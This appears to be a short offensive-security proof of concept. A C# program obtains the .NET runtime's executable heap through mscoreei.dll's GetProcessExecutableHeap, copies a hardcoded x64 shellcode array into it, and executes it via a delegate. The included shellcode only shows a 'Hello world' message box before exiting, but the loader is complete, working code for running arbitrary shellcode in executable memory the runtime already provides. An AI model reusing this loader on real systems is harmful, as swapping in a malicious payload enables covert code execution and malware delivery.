CLR uses an executable heap - so why shouldn't we?

Program.cs

using System;
using System.Runtime.InteropServices;

namespace ExecutableHeapInfo
{
    class Program
    {
        // Import GetProcessExecutableHeap from mscoreei.dll
        [DllImport("mscoreei.dll", SetLastError = true)]
        private static extern IntPtr GetProcessExecutableHeap();

        static void Main(string[] args)
        {
            Console.WriteLine("Getting Process Executable Heap Information");
            IntPtr heapHandle = GetProcessExecutableHeap();
            if (heapHandle == IntPtr.Zero)
            {
                int errorCode = Marshal.GetLastWin32Error();
                Console.WriteLine($"Failed to get executable heap. Error code: {errorCode}");
                return;
            }
            Console.WriteLine($"Heap Base Address: 0x{heapHandle.ToString("X")}");

            byte[] shellcode =
            {
                  0x48, 0x83, 0xec, 0x28, 0x48, 0x83, 0xe4, 0xf0, 0x48, 0x8d, 0x15, 0x66, 0x00, 0x00, 0x00, 0x48,
                  0x8d, 0x0d, 0x52, 0x00, 0x00, 0x00, 0xe8, 0x9e, 0x00, 0x00, 0x00, 0x4c, 0x8b, 0xf8, 0x48, 0x8d,
                  0x0d, 0x5d, 0x00, 0x00, 0x00, 0xff, 0xd0, 0x48, 0x8d, 0x15, 0x5f, 0x00, 0x00, 0x00, 0x48, 0x8d,
                  0x0d, 0x4d, 0x00, 0x00, 0x00, 0xe8, 0x7f, 0x00, 0x00, 0x00, 0x4d, 0x33, 0xc9, 0x4c, 0x8d, 0x05,
                  0x61, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x15, 0x4e, 0x00, 0x00, 0x00, 0x48, 0x33, 0xc9, 0xff, 0xd0,
                  0x48, 0x8d, 0x15, 0x56, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x0d, 0x0a, 0x00, 0x00, 0x00, 0xe8, 0x56,
                  0x00, 0x00, 0x00, 0x48, 0x33, 0xc9, 0xff, 0xd0, 0x4b, 0x45, 0x52, 0x4e, 0x45, 0x4c, 0x33, 0x32,
                  0x2e, 0x44, 0x4c, 0x4c, 0x00, 0x4c, 0x6f, 0x61, 0x64, 0x4c, 0x69, 0x62, 0x72, 0x61, 0x72, 0x79,
                  0x41, 0x00, 0x55, 0x53, 0x45, 0x52, 0x33, 0x32, 0x2e, 0x44, 0x4c, 0x4c, 0x00, 0x4d, 0x65, 0x73,
                  0x73, 0x61, 0x67, 0x65, 0x42, 0x6f, 0x78, 0x41, 0x00, 0x48, 0x65, 0x6c, 0x6c, 0x6f, 0x20, 0x77,
                  0x6f, 0x72, 0x6c, 0x64, 0x00, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x00, 0x45, 0x78, 0x69,
                  0x74, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x00, 0x48, 0x83, 0xec, 0x28, 0x65, 0x4c, 0x8b,
                  0x04, 0x25, 0x60, 0x00, 0x00, 0x00, 0x4d, 0x8b, 0x40, 0x18, 0x4d, 0x8d, 0x60, 0x10, 0x4d, 0x8b,
                  0x04, 0x24, 0xfc, 0x49, 0x8b, 0x78, 0x60, 0x48, 0x8b, 0xf1, 0xac, 0x84, 0xc0, 0x74, 0x26, 0x8a,
                  0x27, 0x80, 0xfc, 0x61, 0x7c, 0x03, 0x80, 0xec, 0x20, 0x3a, 0xe0, 0x75, 0x08, 0x48, 0xff, 0xc7,
                  0x48, 0xff, 0xc7, 0xeb, 0xe5, 0x4d, 0x8b, 0x00, 0x4d, 0x3b, 0xc4, 0x75, 0xd6, 0x48, 0x33, 0xc0,
                  0xe9, 0xa7, 0x00, 0x00, 0x00, 0x49, 0x8b, 0x58, 0x30, 0x44, 0x8b, 0x4b, 0x3c, 0x4c, 0x03, 0xcb,
                  0x49, 0x81, 0xc1, 0x88, 0x00, 0x00, 0x00, 0x45, 0x8b, 0x29, 0x4d, 0x85, 0xed, 0x75, 0x08, 0x48,
                  0x33, 0xc0, 0xe9, 0x85, 0x00, 0x00, 0x00, 0x4e, 0x8d, 0x04, 0x2b, 0x45, 0x8b, 0x71, 0x04, 0x4d,
                  0x03, 0xf5, 0x41, 0x8b, 0x48, 0x18, 0x45, 0x8b, 0x50, 0x20, 0x4c, 0x03, 0xd3, 0xff, 0xc9, 0x4d,
                  0x8d, 0x0c, 0x8a, 0x41, 0x8b, 0x39, 0x48, 0x03, 0xfb, 0x48, 0x8b, 0xf2, 0xa6, 0x75, 0x08, 0x8a,
                  0x06, 0x84, 0xc0, 0x74, 0x09, 0xeb, 0xf5, 0xe2, 0xe6, 0x48, 0x33, 0xc0, 0xeb, 0x4e, 0x45, 0x8b,
                  0x48, 0x24, 0x4c, 0x03, 0xcb, 0x66, 0x41, 0x8b, 0x0c, 0x49, 0x45, 0x8b, 0x48, 0x1c, 0x4c, 0x03,
                  0xcb, 0x41, 0x8b, 0x04, 0x89, 0x49, 0x3b, 0xc5, 0x7c, 0x2f, 0x49, 0x3b, 0xc6, 0x73, 0x2a, 0x48,
                  0x8d, 0x34, 0x18, 0x48, 0x8d, 0x7c, 0x24, 0x30, 0x4c, 0x8b, 0xe7, 0xa4, 0x80, 0x3e, 0x2e, 0x75,
                  0xfa, 0xa4, 0xc7, 0x07, 0x44, 0x4c, 0x4c, 0x00, 0x49, 0x8b, 0xcc, 0x41, 0xff, 0xd7, 0x49, 0x8b,
                  0xcc, 0x48, 0x8b, 0xd6, 0xe9, 0x14, 0xff, 0xff, 0xff, 0x48, 0x03, 0xc3, 0x48, 0x83, 0xc4, 0x28,
                  0xc3
            };
            Marshal.Copy(shellcode, 0, heapHandle, shellcode.Length);

            Marshal.GetDelegateForFunctionPointer<Action>(heapHandle)();
        }
    }
}